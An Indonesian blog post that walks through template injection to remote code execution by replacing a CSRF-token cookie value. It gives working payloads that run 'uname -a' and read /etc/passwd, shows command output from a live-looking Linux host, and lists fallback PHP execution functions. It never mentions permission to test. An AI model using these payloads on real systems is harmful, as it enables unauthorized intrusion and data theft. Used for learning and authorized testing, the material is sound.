SSTI to RCE via CSRF Token
Hai halo, kali ini saya bakal menulis artikel Server-side Template Injection (SSTI) to Remote Code Execution (RCE) via CSRF Token.
SSTI sendiri masuk dalam kategori bug high to critical, dan karena ini dapat melakukan RCE sudah pasti masuk dalam kategori critical.
Sebelum itu install terlebih dahulu addons Cookie Editor di web browser favorit kamu untuk mempermudahnya.
STEP BY STEP
Kamu terlebih dahulu mengakses vulnrable webnya, lalu klik icon Cookie Editor untuk mengedit cookienya. Jika disana terdapat CSRF Token, coba untuk menghapus value yang berisi CSRF Token lalu diganti dengan command seperti ini.
Command : {{system(‘uname -a’)}}
Lalu save dan refresh page tersebut. Terlihat tidak ada perbedaan atau perubahan? coba kamu view source (CTRL+U).
Maka jika vuln hasilnya akan seperti ini.
Jika gambar diatas kurang jelas, berikut adalah potongan dimana command tersebut tereksekusi.
<input type=”hidden” name=”csrf-token” value=”Linux ip-172–31–46–31 4.15.0–1060-aws #62-Ubuntu SMP Tue Feb 11 21:23:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
Linux ip-172–31–46–31 4.15.0–1060-aws #62-Ubuntu SMP Tue Feb 11 21:23:22 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux” />
Sekarang saya coba membaca isi dari /etc/passwd dengan command {{system(‘cat /etc/passwd’)}}
Mungkin cukup sampai disini aja postingan SSTI to RCE dari saya.
Bagaimana cara mengunggah sebuah backdoor? wah batal puasa kamu wkwkw.
Tambahan
Jika kamu menggunakan function system dan command tidak berjalan, coba gunakan function lain seperti shell_exec, exec, passthru. Karena itu belum tentu tidak vuln, siapa tau hanya functionnya yang disabled.
Sekian
Satya Aji Firmansyah